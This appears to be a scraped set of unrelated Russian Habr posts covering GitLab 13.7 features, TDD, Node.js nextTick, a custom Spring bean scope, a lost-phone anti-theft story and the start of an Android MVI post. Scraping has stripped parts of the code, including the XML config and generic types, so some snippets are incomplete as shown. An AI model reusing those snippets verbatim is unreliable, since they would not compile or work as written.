В этом релизе вы сможете увидеть, какие коммиты и конвейеры выполнялись в проекте-форке, а какие в родительском проекте. Коммиты в форках отмечены уникальным значком и тултипом, что позволяет вам узнать, что они выполнялись из мерж-реквеста в форке. Это упрощает понимание контекста, в котором работал ваш конвейер, и устраняет необходимость более детально изучать источник.
[Документация по запуску конвейеров в родительском проекте для мерж-реквестов из проекта-форка](https://docs.gitlab.com/ee/ci/merge_request_pipelines/#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/225513).
### Запросы к базе данных выполняются быстрее при использовании балансировщика нагрузки
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement/)
Многие запросы к базе данных повторяются несколько раз, так что их можно кэшировать для повышения общей производительности. Для GitLab можно кэшировать [примерно 10% всех запросов](https://gitlab.com/gitlab-org/gitlab/-/issues/276188#note_463032681). В GitLab 13.7 мы включили кэширование запросов к базе данных, когда используется [балансировка нагрузки базы данных](https://docs.gitlab.com/ee/administration/database_load_balancing.html). На GitLab.com это приводит к кэшированию ~700 000 запросов каждую минуту и сокращает среднее время выполнения запросов вплоть до 10%.
Для запросов, которые выполняются более 100 раз, мы уменьшили продолжительность запроса [на 11-31% и кэшировали ~30% всех операторов SELECT](https://gitlab.com/gitlab-org/gitlab/-/issues/276188#note_463401368), которые бы в противном случае выполнялись на реплике базы данных.
[Документация по балансировке нагрузки на базу данных](https://docs.gitlab.com/ee/administration/database_load_balancing.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/276188).
### Для новых установок по умолчанию используется PostgreSQL 12
(CORE, STARTER, PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement/)
Начиная с [GitLab 13.3](https://habr.com/ru/post/518382/#postgresql-12-teper-dostupen) PostgreSQL 12 был доступен в качестве опции как для пакетов Omnibus, так и для нашего Helm chart. PostgreSQL 12 улучшает производительность, а также предлагает [значительные преимущества при индексировании и секционировании](https://www.postgresql.org/about/news/postgresql-12-released-1976/).
Начиная с GitLab 13.7 новые установки GitLab будут по умолчанию использовать PostgreSQL 12. Чтобы выполнить обновление вручную, запустите [`gitlab-ctl pg-upgrade`](https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server).
Многонодовые инстансы базы данных должны будут переключиться с [repmgr на Patroni](https://docs.gitlab.com/ee/administration/postgresql/replication_and_failover.html#switching-from-repmgr-to-patroni) до [обновления с помощью Patroni](https://docs.gitlab.com/ee/administration/postgresql/replication_and_failover.html#upgrading-postgresql-major-version-in-a-patroni-cluster). Затем можно [обновить](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance) и повторно синхронизировать вторичные ноды Geo.
[Документация по настройкам баз данных в GitLab 13.3 и более поздних версиях](https://docs.gitlab.com/omnibus/settings/database.html#gitlab-133-and-later) и [оригинальный тикет](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5509).
---
Полный текст релиза и инструкции по обновлению/установке вы можете найти в оригинальном англоязычном посте: [GitLab 13.7 released with merge request reviewers and automatic rollback upon failure](https://about.gitlab.com/releases/2020/12/22/gitlab-13-7-released/).
Над переводом с английского работали [cattidourden](https://habr.com/ru/users/cattidourden/), [maryartkey](https://habr.com/ru/users/maryartkey/), [ainoneko](https://habr.com/ru/users/ainoneko/) и [rishavant](https://habr.com/ru/users/rishavant/). | https://habr.com/ru/post/537006/ | null | ru | null |
# TDD: методология разработки, которая изменила мою жизнь
На часах 7:15 утра. Наша техподдержка завалена работой. О нас только что рассказали в передаче «Good Morning America» и множество тех, кто впервые посещает наш сайт, столкнулось с ошибками.
У нас настоящий аврал. Мы, прямо сейчас, до того, как потеряем возможность превратить посетителей ресурса в новых пользователей, собираемся выкатить пакет исправлений. Один из разработчиков кое-что подготовил. Он думает, что это поможет справиться с проблемой. Мы размещаем ссылку на обновлённую версию программы, пока ещё не ушедшей в продакшн, в чат компании, и просим всех её протестировать. Работает!
Наши героические инженеры запускают скрипты для развёртывания систем и через считанные минуты обновление уходит в бой. Внезапно число звонков в техподдержку удваивается. Наше срочное исправление что-то поломало, разработчики хватаются за git blame, а инженеры в это время откатывают систему к предыдущему состоянию.
[](https://habr.com/ru/company/ruvds/blog/450316/)
Автор материала, перевод которого мы сегодня публикуем, полагает, что всего этого можно было бы избежать благодаря TDD.
Почему я использую TDD?
-----------------------
Я давно уже не попадал в подобные ситуации. И дело не в том, что разработчики перестали совершать ошибки. Дело в том, что уже многие годы в каждой команде, которой я руководил и на которую я оказывал влияние, применялась методология TDD. Ошибки, конечно, всё ещё случаются, но проникновение в продакшн проблем, способных «повалить» проект, снизилось практически до нуля, даже несмотря на то, что частота обновления ПО и количество задач, которые нужно решить в процессе обновления, экспоненциально выросли с тех пор, когда случилось то, о чём я рассказал в начале.
Когда кто-то спрашивает меня о том, почему ему стоит связываться с TDD, я рассказываю ему эту историю, и могу вспомнить ещё с десяток похожих случаев. Одна из важнейших причин, по которым я перешёл на TDD, заключается в том, что эта методология позволяет [улучшить](https://ieeexplore.ieee.org/abstract/document/4343755) покрытие кода тестами, что ведёт к тому, что в продакшн попадают на [40-80% меньше ошибок](https://www.researchgate.net/publication/3249271_Guest_Editors%27_Introduction_TDD--The_Art_of_Fearless_Programming). Это то, что мне нравится в TDD больше всего. Это снимает с плеч разработчиков целую гору проблем.
Кроме того, стоит отметить, что TDD избавляет разработчиков от страха внесения изменений в код.
В проектах, в работе над которыми я принимаю участие, наборы автоматических модульных и функциональных тестов практически ежедневно предотвращают попадание в продакшн кода, который способен серьёзно нарушить работу этих проектов. Например, сейчас я смотрю на 10 автоматических обновлений библиотеки, сделанных на прошлой неделе, таких, перед выпуском которых без использования TDD, я опасался бы того, что они могут что-то испортить.
Все эти обновления были автоматически интегрированы в код, и они уже используются в продакшне. Я не проверял ни одного из них вручную, и совершенно не беспокоился о том, что они могут плохо отразиться на проекте. При этом, мне, для того чтобы привести этот пример, не пришлось долго думать. Я просто открыл GitHub, взглянул на недавние слияния, и увидел то, о чём рассказал. Та задача, которую раньше решали вручную (или, ещё хуже, задача, которую игнорировали), теперь представляет собой автоматизированный фоновый процесс. Можно попытаться сделать нечто подобное и без хорошего покрытия кода тестами, но я бы не рекомендовал так поступать.
Что такое TDD?
--------------
TDD расшифровывается как Test Driven Development (разработка через тестирование). Процесс, реализуемый в ходе применения этой методологии очень прост:
*Тесты выявляют ошибки, тесты завершаются успешно, выполняется рефакторинг*
Вот основные принципы применения TDD:
1. Прежде чем писать код реализации некоей возможности, пишут тест, который позволяет проверить, работает ли этот будущий код реализации, или нет. Прежде чем переходить к следующему шагу, тест запускают и убеждаются в том, что он выдаёт ошибку. Благодаря этому можно быть уверенным в том, что тест не выдаёт ложноположительные результаты, это — своего рода тестирование самих тестов.
2. Создают реализацию возможности и добиваются того, чтобы она успешно прошла тестирование.
3. Выполняют, если это нужно, рефакторинг кода. Рефакторинг, при наличии теста, который способен указать разработчику на правильность или неправильность работы системы, вселяет в разработчика уверенность в его действиях.
Как TDD может помочь сэкономить время, необходимое на разработку программ?
--------------------------------------------------------------------------
На первый взгляд может показаться, что написание тестов означает значительное увеличение объёма кода проекта, и то, что всё это отнимает у разработчиков много дополнительного времени. В моём случае, поначалу, всё так и было, и я пытался понять, как, в принципе, можно писать тестируемый код, и как добавлять тесты к коду, который был уже написан.
Для TDD характерна определённая кривая обучаемости, и пока новичок карабкается по этой кривой, время, необходимое на разработку, может увеличиться на [15-35%](https://www.infoq.com/news/2009/03/TDD-Improves-Quality). Часто именно так всё и происходит. Но где-то года через 2 после начала использования TDD начинает происходить нечто невероятное. А именно, я, например, стал, с предварительным написанием модульных тестов, программировать быстрее, чем раньше, когда TDD не пользовался.
Несколько лет назад я реализовывал, в клиентской системе, возможность работы с фрагментами видеоклипа. А именно, речь шла о том, чтобы можно было бы позволить пользователю указывать начало и конец фрагмента записи, и получать ссылку на него, что дало бы возможность ссылаться на конкретное место в клипе, а не на весь этот клип.
Работа у меня не шла. Проигрыватель доходил до конца фрагмента и продолжал её воспроизводить, а я не имел представления о том, почему это так.
Я полагал, что проблема заключается в неправильном подключении прослушивателей событий. Мой код выглядел примерно так:
```
video.addEventListener('timeupdate', () => {
if (video.currentTime >= clip.stopTime) {
video.pause();
}
});
```
Процесс поиска проблемы выглядел так: внесение изменений, компиляция, перезагрузка, щелчок, ожидание… Эта последовательность действий повторялась снова и снова.
Для того чтобы проверить каждое из вносимых в проект изменений, нужно было потратить почти минуту, а я испытывал невероятно много вариантов решения задачи (большинство из них — по 2-3 раза).
Может я допустил ошибку в ключевом слове `timeupdate`? Правильно ли я понял особенности работы с API? Работает ли вызов `video.pause()`? Я вносил в код изменения, добавлял `console.log()`, переходил обратно в браузер, нажимал на кнопку `Обновить`, щёлкал по позиции, находящейся у конца выделенного фрагмента, а потом терпеливо ждал до тех пор, пока клип не будет проигран полностью. Логирование внутри конструкции `if` ни к чему не привело. Это выглядело как подсказка о возможной проблеме. Я скопировал слово `timeupdate` из документации к API для того чтобы быть абсолютно уверенным в том, что, вводя его, не допустил ошибку. Снова обновляю страницу, снова щёлкаю, снова жду. И снова программа отказывается правильно работать.
Я, наконец, поместил `console.log()` за пределами блока `if`. «Это не поможет», — думал я. В конце концов, выражение `if` было настолько простым, что я просто не представлял себе, как можно записать его неправильно. Но логирование в данном случае сработало. Я подавился кофе. «Да что же это такое!?» — подумал я.
> Закон отладки Мёрфи. То место программы, которое вы никогда не тестировали, так как свято верили в то, что оно не может содержать ошибок, окажется именно тем местом, где вы найдёте ошибку после того, как, совершенно вымотавшись, внесёте в это место изменения лишь из-за того, что уже попробовали всё, о чём только могли подумать.
Я установил в программу точку останова для того чтобы разобраться в том, что происходит. Я исследовал значение `clip.stopTime`. Оно, к моему удивлению, равнялось `undefined`. Почему? Я снова взглянул на код. Когда пользователь выбирает время окончания фрагмента, программа размещает в нужном месте маркер конца фрагмента, но не устанавливает значение `clip.stopTime`. «Я — невероятный идиот, — подумал я, — меня нельзя подпускать к компьютерам до конца жизни».
Я не забыл об этом и годы спустя. И всё — благодаря тому ощущению, которое испытал, всё же найдя ошибку. Вы, наверняка, знаете, о чём я говорю. Со всеми это случалось. И, пожалуй, каждый сможет узнать себя в этом меме.
*Вот как я выгляжу, когда программирую*
Если бы я писал ту программу сегодня, я бы начал работу над ней примерно так:
```
describe('clipReducer/setClipStopTime', async assert => {
const stopTime = 5;
const clipState = {
startTime: 2,
stopTime: Infinity
};
assert({
given: 'clip stop time',
should: 'set clip stop time in state',
actual: clipReducer(clipState, setClipStopTime(stopTime)),
expected: { ...clipState, stopTime }
});
});
```
Возникает ощущение, что тут куда больше кода, чем в этой строчке:
```
clip.stopTime = video.currentTime
```
Но в том-то всё и дело. Этот код действует как спецификация. Это — и документация, и доказательство того, что код работает так, как того требует эта документация. И, так как эта документация существует, если я изменю порядок работы с маркером времени окончания фрагмента, мне не придётся беспокоиться о том, нарушил ли я в ходе внесения этих изменений правильность работы со временем окончания клипа.
[Вот](https://medium.com/javascript-scene/rethinking-unit-test-assertions-55f59358253f), кстати, полезный материал по написанию модульных тестов, таких же, как тот, который мы только что рассмотрели.
Смысл не в том, сколько времени занимает ввод этого кода. Смысл в том, сколько времени занимает отладка в том случае, если что-то идёт не так. Если код окажется неправильным, тест выдаст отличный отчёт об ошибке. Я сразу же буду знать о том, что проблема заключается не в обработчике события. Я буду знать о том, что она либо в `setClipStopTime()`, либо в `clipReducer()`, где реализовано изменение состояния. Благодаря тесту я знал бы о том, какие функции выполняет код, о том, что он выводит на самом деле, и о том, что от него ожидается. И, что более важно, те же самые знания будут и у моего коллеги, который, через полгода после того, как я написал код, будет внедрять в него новые возможности.
Начиная новый проект я, в качестве одного из первых дел, выполняю настройку [скрипта-наблюдателя](https://medium.com/javascript-scene/streamline-code-reviews-with-eslint-prettier-6fb817a6b51d), который автоматически запускает модульные тесты при каждом изменении некоего файла. Я часто программирую, используя два монитора. На одном из них открыта консоль разработчика, в которой выводятся результаты выполнения подобного скрипта, на другом выводится интерфейс среды, в которой я пишу код. Когда я вношу в код изменение, я обычно, в пределах 3 секунд, узнаю о том, рабочим оказалось это изменение или нет.
Для меня TDD — это гораздо больше, чем просто страховка. Это — возможность постоянного и быстрого, в режиме реального времени, получения сведений о состоянии моего кода. Мгновенное вознаграждение в виде пройденных тестов, или мгновенный отчёт об ошибках в том случае, если я сделал что-то не так.
Как методология TDD научила меня писать более качественный код?
---------------------------------------------------------------
Мне хотелось бы сделать одно признание, хоть признавать это и неловко: я не представлял себе, как создавать приложения до того, как я изучил TDD и модульное тестирование. Я не представляю, как меня вообще брали на работу, но, после того, как я провёл собеседования с многими сотнями разработчиков, я могу с уверенностью сказать, что в похожей ситуации находится множество программистов. Методология TDD научила меня почти всему, что я знаю об эффективной декомпозиции и композиции программных компонентов (я имею в виду модули, функции, объекты, компоненты пользовательского интерфейса и прочее подобное).
Причина этого заключается в том, что модульные тесты принуждают программиста к тестированию компонентов в изоляции друг от друга и от подсистем ввода-вывода. Если модулю предоставляются некие входные данные — он должен выдать некие, заранее известные, выходные данные. Если он этого не сделает, тест завершается с ошибкой. Если сделает — тест завершается успешно. Смысл тут заключается в том, что модуль должен работать независимо от остального приложения. Если вы тестируете логику работы состояния, у вас должна быть возможность делать это без вывода чего-либо на экран или сохранения чего-нибудь в базу данных. Если вы тестируете формирование пользовательского интерфейса, то у вас должна быть возможность тестировать его без необходимости загрузки страницы в браузер или обращения к сетевым ресурсам.
Кроме прочего, методология TDD научила меня тому, что жизнь становится гораздо проще в том случае, если при разработке компонентов пользовательского интерфейса стремиться к минимализму. Кроме того, от пользовательского интерфейса следует изолировать бизнес-логику и побочные эффекты. С практической точки зрения это означает, что если вы используете UI-фреймворк, основанный на компонентах, вроде [React](https://medium.com/javascript-scene/unit-testing-react-components-aeda9a44aae2) или Angular, целесообразным может быть создание презентационных компонентов, отвечающих за вывод чего-либо на экран, и компонентов-контейнеров, которые друг с другом не смешиваются.
Презентационный компонент, получающий некие свойства, всегда формирует один и тот же результат. Подобные компоненты можно легко проверить, используя модульные тесты. Это позволяет узнать, правильно ли компонент работает со свойствами, и то, корректна ли некая условная логика, используемая при формировании интерфейса. Например, возможно, компонент, формирующий список, не должен выводить ничего кроме приглашения на добавление в список нового элемента в том случае, если список пуст.
Я знал о принципе разделения ответственности задолго до того, как освоил TDD, но я не знал о том, как разделять ответственность между разными сущностями.
Модульное тестирование позволило мне изучить использование моков для тестирования чего-либо, а затем я узнал, что мокинг — это признак того, что, возможно, [с кодом что-то не так](https://medium.com/javascript-scene/mocking-is-a-code-smell-944a70c90a6a). Это меня ошеломило и полностью изменило мой подход к композиции программного обеспечения.
Вся разработка программного обеспечения — это композиция: процесс разбиения больших проблем на множество мелких, легко решаемых проблем, а затем создание решений для этих проблем, которые и формируют приложение. Мокинг, выполняемый ради модульных тестов, указывает на то, что атомарные единицы композиции, на самом деле, не атомарны. Изучение того, как избавиться от моков, не ухудшая покрытие кода тестами, позволило мне узнать о том, как выявлять бесчисленное множество скрытых причин сильной связанности сущностей.
Это позволило мне, как разработчику, профессионально вырасти. Это научило меня тому, как писать гораздо более простой код, который легче расширять, поддерживать, масштабировать. Это относится и к сложности самого кода, и к организации его работы в больших распределённых системах наподобие облачных инфраструктур.
Как TDD помогает экономить рабочее время команд?
------------------------------------------------
Я уже говорил о том, что TDD, в первую очередь, ведёт к [улучшению](https://ieeexplore.ieee.org/abstract/document/4343755) покрытия кода тестами. Причина этого заключается в том, что мы не начинаем писать код реализации некоей возможности до тех пор, пока не напишем тест, проверяющий правильность работы этого будущего кода. Сначала пишем тест. Потом позволяем ему завершиться с ошибкой. Потом пишем код реализации возможности. Тестируем код, получаем сообщение об ошибке, добиваемся правильного прохождения испытаний, выполняем рефакторинг и повторяем этот процесс.
Этот процесс позволяет создать «заграждение», через которое способны «перескочить» лишь очень немногие ошибки. Эта защита от ошибок оказывает удивительное воздействие на весь коллектив разработчиков. Оно избавляет от страха перед командой merge.
Высокий уровень покрытия кода тестами позволяет команде избавиться от желания вручную проконтролировать любое, даже маленькое изменение кодовой базы. Изменения кода становятся естественной частью рабочего процесса.
Избавления от страха внесения изменений в код напоминает смазывание некоей машины. Если этого не делать, машина, в конце концов, остановится — до тех пор, пока её не смажут и снова не запустят.
Без этого страха процесс работы над программами оказывается гораздо более спокойным, чем прежде. Pull-запросы не откладывают до последнего. CI/CD-система запустит тесты, и, если тесты окажутся неудачными, остановит процесс внесения изменений в код проекта. При этом сообщения об ошибках и сведения о том, где именно они произошли, очень сложно будет не заметить.
В этом-то всё и дело.
**Уважаемые читатели!** Пользуетесь ли вы методикой TDD при работе над своими проектами?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/450316/ | null | ru | null |
# Наглядно о потоке выполнения в Node.js
В комментариях к моему [предыдущему топику](http://habrahabr.ru/blogs/nodejs/112742/) об асинхронном программировании, коллбеках и использовании process.NextTick() в Node.js было задано немало вопросов о том, за счёт чего получается или может быть получена большая производительность при использовании неблокирующего кода. Постараюсь это наглядно показать :) Статья призвана в основном прояснить некоторые моменты работы Node.js (и libeio в его составе), которые на словах бывает трудно описать.
***Пример обработки запросов сервером с блокирующим чтением:***
В первую очередь прокомментирую полезность использования неблокирующего ввода/вывода. Как правило, использовать блокирующие операции в Node.js стоит лишь на этапе инициализации приложения, и то не всегда. Правильная обработка ошибок в любом случае потребует использования try/catch, так что код при использовании неблокирующих операций не будет сложнее, чем при использовании блокирующих операций.
Нужно лишь помнить, что случае, когда запросов неблокирующих операций может оказаться больше, чем потоков libeio. В этом случае новые запросы будут становиться в очередь и блокировать выполнение, однако для программиста это будет происходить прозрачно.
***Пример обработки запросов сервером с неблокирующим чтением:***
Конечно, эти два примера показывают случай, когда производительность сервера максимально увеличивается. Однако, польза от неблокирующего чтения есть при любом времени между приходящими запросами, даже в худшем случае производительно улучшиться за счёт вовлечения в процесс обработки запросов потоков libeio.
Суммарное время обработки запросов (время между отправкой клиентом первого запроса и получения последнего результата обработки, синяя цифра справа) будет меньше в любом случае, если потоков хватает на все запросы. Но даже в самом худшем случае это время не превысит времени обработки при использовании синхронного чтения.
***Пример уменьшения времени обработки при почти одновременном приходе двух запросов:***
И тут мы подходим к самому нелогичному приёму, который используется программистами Node.js и может вызвать недоумения у большинства разработчиков. В случае, если ввод/вывод занимает большую часть времени обработки запроса, то остальной код оптимизировать не стоит. Однако, время получения данных из memcached может быть соизмеримо с временем выполнения бизнес-логики приложения и шаблонизации. А если использовать кеширование или базу данных в памяти процесса Node.js ([Dirty](https://github.com/felixge/node-dirty) или [Alfred](https://github.com/pgte/alfred)), то время работы с базой данных может быть и меньше, чем время работы остальных частей приложения. Поэтому, для разбиения кода на отдельные части и вызова коллбеков используют process.nextTick():
```
// blocking callbacks
function func1_cb(str, cb) {
var res = func1(str);
cb(res);
}
function func2_cb(str, cb) {
var res = func2(str);
cb(res);
}
// non-blocking callbacks
function func1_cb(str, cb) {
var res = func1(str);
process.nextTick(function () {
cb(res);
});
}
function func2_cb(str, cb) {
var res = func2(str);
process.nextTick(function () {
cb(res);
});
}
// usage example
func1_cb(content, function (str) {
func2_cb(str, function (result) {
// work with result
});
});
```
При использовании такого подхода в разделении выполнения calc(1) и calc(2) суммарное время обработки для предыдущего примера с почти одновременным приходом запросов не изменяется, однако первый запрос будет возвращён клиенту позже.
***Пример «вреда» от process.nextTick() при почти одновременном приходе двух запросов:***
Однако это худший случай с точки зрения применимости process.nextTick(). В случае, если запросы приходят редко, как в первом рассмотренном примере, вреда от process.nextTick() не будет совсем. В случае, если запросы приходят со «средней» частотой, применение process.nextTick() ускорит обработку запросов за счёт того, что в момент прерывания потока выполнения может вклиниться первичная обработка нового запроса и начало неблокирующего чтения. При этом уменьшается как суммарное время обработки, так и среднее время обработки одного запроса.
***Пример «пользы» от process.nextTick():***
Подведём небольшой итог топика. Во-первых, при использовании Node.js стоит использовать неблокирующий ввод/вывод. Желательно даже в тех случаях, когда используется не стандартное количество потоков libeio, а меньшее, либо при большом количество поступающих запросов. возникающие проблемы можно снять с помощью кеширования и in-process DB, а производительно не будет сильно отличаться от использования других технологий распараллеливания. Во-вторых, от использования process.nextTick() «в среднем» можно улучшить производительность сервера, и в целом от него больше пользы, чем вреда.
UPD (02.02): Незначительно улучшил схемы. Исходники доступны по ссылке: [github.com/Sannis/papers\_and\_talks/tree/master/2011\_node\_article\_async\_process\_nexttick](https://github.com/Sannis/papers_and_talks/tree/master/2011_node_article_async_process_nexttick). | https://habr.com/ru/post/112977/ | null | ru | null |
# Spring bean custom scope
Я попробую привести пример, когда бывает нужен Spring custom scope.
Мы — компания B2B и SAAS, и у нас бегут по таймеру некие долгие процессы для каждого из клиентов.
У каждого из клиентов есть какие то свойства (имя, тип подписки и т.д.).
Раньше мы делали наши сервисы prototype бинами и передавали каждому из них в конструкторе все необходимые свойства клиента и запущенного процесса (flow — имеется ввиду логический процесс, job, а не процесс ОС):
```
@Service
@Scope("prototype")
public class ServiceA {
private Customer customer;
private ReloadType reloadType;
private ServiceB serviceB;
@Autowired
private ApplicationContext context;
public ServiceA(final Customer customer, final ReloadType reloadType) {
this.customer = customer;
this.reloadType = reloadType;
}
@PostConstruct
public void init(){
serviceB = (ServiceB) context.getBean("serviceB",customer, reloadType);
}
public void doSomethingInteresting(){
doSomthingWithCustomer(customer,reloadType);
serviceB.doSomethingBoring();
}
private void doSomthingWithCustomer(final Customer customer, final ReloadType reloadType) {
}
}
```
```
@Service
@Scope("prototype")
public class ServiceB {
private Customer customer;
private ReloadType reloadType;
public ServiceB(final Customer customer, final ReloadType reloadType) {
this.customer = customer;
this.reloadType = reloadType;
}
public void doSomethingBoring(){
}
}
```
```
//...
ServiceA serviceA = (ServiceA) context.getBean("serviceA",customer, ReloadType.FullReaload);
serviceA.doSomethingInteresting();
//...
```
Это неудобно — во первых можно ошибиться в числе или типе параметров при создании бина,
во вторых много boilerplate кода
Поэтому мы сделали свой scope бина — «customer».
Идея вот в чем: я создаю некий «контекст» — объект, хранящий информацию о том, какой процесс сейчас бежит (какой клиент, какой тип процесса — все что нужно знать сервисам) и храню его в ThreadLocal.
При создании бина моего scope я этот контекст туда инжектю.
В том же контексте хранится список уже созданных бинов, чтобы каждый бин создавался только один раз на весь процесс.
Когда процесс заканчивается я очищаю ThreadLocal и все бины собираются garbage collector'ом.
Заметьте, что все бины моего scope обязаны имплементировать некий интерфейс. Это нужно только для того, чтобы им инжектить контекст.
Итак, объявляем наш scope в xml:
```
..
...
```
Имплементируем наш Scope:
```
public class CustomerScope implements Scope {
@Override
public Object get(String name, ObjectFactory objectFactory) {
CustomerContext context = resolve();
Object result = context.getBean(name);
if (result == null) {
result = objectFactory.getObject();
ICustomerScopeBean syncScopedBean = (ICustomerScopeBean) result;
syncScopedBean.setContext(context);
Object oldBean = context.setBean(name, result);
if (oldBean != null) {
result = oldBean;
}
}
return result;
}
@Override
public Object remove(String name) {
CustomerContext context = resolve();
return context.removeBean(name);
}
protected CustomerContext resolve() {
return CustomerContextThreadLocal.getCustomerContext();
}
@Override
public void registerDestructionCallback(String name, Runnable callback) {
}
@Override
public Object resolveContextualObject(String key) {
return null;
}
@Override
public String getConversationId() {
return resolve().toString();
}
}
```
Как мы видим — в рамках того же процесса (flow) используются те же инстансы бинов (т.е. это scope действительно не стандартный — в prototype создавались бы каждый раз новые, в singleton — одни и те же).
А сам контекст берется из ThreadLocal:
```
public class CustomerContextThreadLocal {
private static ThreadLocal customerContext = new ThreadLocal<>();
public static CustomerContext getCustomerContext() {
return customerContext.get();
}
public static void setSyncContext(CustomerContext context) {
customerContext.set(context);
}
public static void clear() {
customerContext.remove();
}
private CustomerContextThreadLocal() {
}
public static void setSyncContext(Customer customer, ReloadType reloadType) {
setSyncContext(new CustomerContext(customer, reloadType));
}
```
Oсталось создать интерфейс для всех наших бинов и его абстрактную реализацию:
```
public interface ICustomerScopeBean {
void setContext(CustomerContext context);
}
public class AbstractCustomerScopeBean implements ICustomerScopeBean {
protected Customer customer;
protected ReloadType reloadType;
@Override
public void setContext(final CustomerContext context) {
customer = context.getCustomer();
reloadType = context.getReloadType();
}
}
```
И после этого наши сервисы выглядят намного красивее:
```
@Service
@Scope("customer")
public class ServiceA extends AbstractCustomerScopeBean {
@Autowired
private ServiceB serviceB;
public void doSomethingInteresting() {
doSomthingWithCustomer(customer, reloadType);
serviceB.doSomethingBoring();
}
private void doSomthingWithCustomer(final Customer customer, final ReloadType reloadType) {
}
}
@Service
@Scope("customer")
public class ServiceB extends AbstractCustomerScopeBean {
public void doSomethingBoring(){
}
}
//....
CustomerContextThreadLocal.setSyncContext(customer, ReloadType.FullReaload);
ServiceA serviceA = context.getBean(ServiceA.class);
serviceA.doSomethingInteresting();
//.....
```
Может возникнуть вопрос — мы используем ThreadLocal — а что если мы вызываем асинхронные методы?
Главное, чтобы всё дерево бинов создавалось синхронно, тогда @Autowired будет работать корректно.
А если какой нибудь из методов запускается с @ Async — то не страшно, всё работать будет, так как бины уже созданы.
Неплохо также написать тест, которые проверить, что все бины со scope «customer» реализуют ICustomerScopeBean и наоборот:
```
@ContextConfiguration(locations = {"classpath:beans.xml"}, loader = GenericXmlContextLoader.class)
@RunWith(SpringJUnit4ClassRunner.class)
public class CustomerBeanScopetest {
@Autowired
private AbstractApplicationContext context;
@Test
public void testScopeBeans() throws ClassNotFoundException {
ConfigurableListableBeanFactory beanFactory = context.getBeanFactory();
String[] beanDefinitionNames = beanFactory.getBeanDefinitionNames();
for (String beanDef : beanDefinitionNames) {
BeanDefinition def = beanFactory.getBeanDefinition(beanDef);
String scope = def.getScope();
String beanClassName = def.getBeanClassName();
if (beanClassName == null)
continue;
Class aClass = Class.forName(beanClassName);
if (ICustomerScopeBean.class.isAssignableFrom(aClass))
assertTrue(beanClassName + " should have scope 'customer'", scope.equals("customer"));
if (scope.equals("customer"))
assertTrue(beanClassName + " should implement 'ICustomerScopeBean'", ICustomerScopeBean.class.isAssignableFrom(aClass));
}
}
}
``` | https://habr.com/ru/post/225397/ | null | ru | null |
# Kaspersky Mobile Security 9 VS Черный рынок мобильных телефонов
Заголовок довольно громкий, но я невольно стал участником довольно интересного стечения обстоятельств. Итак, все по порядку. С полгода назад я приобрел себе сотовый телефон HTC Desire HD. Души в нем не чаял, холил и лелеял. Почти сразу после покупки я поставил на него KMS9 (лицензию) и настроил АнтиВор.
**1-го октября** изрядно набравшись в одном из баров столицы, добираясь домой на пойманном авто, разумеется, оставил сотовый на сиденье. Бомбила подвез меня прямо к двери, поэтому до обнаружения пропажи прошло около 5 минут. Но не тут то было — батарейка в телефоне доживала последние секунды и при попытке звонка на него моментально села, как я догадываюсь.
Твердо решив повременить с покупкой нового дройда и запасшись терпением я начал ожидать уведомления о смене симкарты. Шли дни и вот…
**сегодня утром в 08:08** (я не поклонник нумерологии, но все же!) приходит заветное уведомление о смене СИМ с номером, внимание, +792034913ХХ (назовем это **Игрок 1**). Это, как мне намекнули, Ивановская область, Мегафон.
Я разумеется отправляю заветную команду find: код\_безопасности на этот номер — в ответ тишина.
Звоню — снимает трубку женщина и идет в отказ что мол ни о каком HTC не знает.
Подумав, отправляю СМС со следующим текстом:
`Добрый день. Я в кратце опишу ситуацию. Первого числа я оставил в автомобиле, серебрянной десятке, сотовый телефон HTC Desire HD. Сегодня в 8 утра мне пришло уведомление о смене симкарты с этого номера. Дело в том что данный телефон привязан к моему паспорту **(вру разумеется в наглую)**. Я был бы крайне благодарен если бы вы помогли мне в этой ситуации с возвращением телефона, разумеется за вознаграждение. Спасибо.`
Молчание… координаты тоже не приходят — команда find вылетает в пустоту еще раз.
**в 16:40** мне приходит новое сообщение о смене сим-карты. Новый номер владельца телефона +792675898ХХ **(Игрок 2)**. Этот номер больше похож на правду — регион Москва.
Звонить я не стал, а сразу отправил такое же сообщение как и на первый номер и следом команду find.
Молчание… ни ответа ни привета но отчеты о доставке пришли.
**Только что в 20:20** (Опять цифры!) мне звонит Игрок 1 и рассказывает правдоподобно, с акцентом, что мол мы из Ивановской области и никуда ничего не использовали и не крали а Москве последний раз были 1-3 октября на экскурсии в какой то монастырь. Все возможные вопросы я задал: не заходили ли смотреть телефоны в магазин, не вставляли ли куда либо свою сим. Ответы отрицательные.
Паралельно с 1-го октября я начал переписку с саппортом KMS, но как выяснилось они никакие данные у себя не собирают и ничем помочь не могут, что конечно огорчило, так как я был уверен что покупая софт у них я плачу за добровольную слежку за моим аппаратом.
Пока что у меня вопрос: реально ли подделать номер на сим-карте? Ну не могла та женщина из ивановской области быть причастной.
Продолжение следует…
**UPD. 08 октября 14:00** Опять произошла смена сим-карты: +792034913ХХ (**Игрок 3**). Теперь я почти на 100% уверен, что это подставные сим-клоны потому как различия между Игроком 1 и Игроком 3 только в последних цифрах номера. | https://habr.com/ru/post/129965/ | null | ru | null |
# Мой рецепт MVI в Android
 Как известно, MVI строится на основе трех компонентов - модели, намерения (действия) и состояния экрана. Логика приложения диктуется пользователем, например, он хочет загрузить картинку в высоком разрешении, и различными внешними эффектами (далее - side-effects), например, внезапной потерей соединения.
Мне хотелось создать механизм, который будет способен обрабатывать намерения пользователя и их следствия (что-то внешнее, например ответ от api). Для этого я решил создать три интерфейса-маркера, которые будут отвечать за какое-либо событие, состояние экрана и не влияющие на состояние экрана уведомления.
```
interface Action
interface State
interface News
```
Подготовка
----------
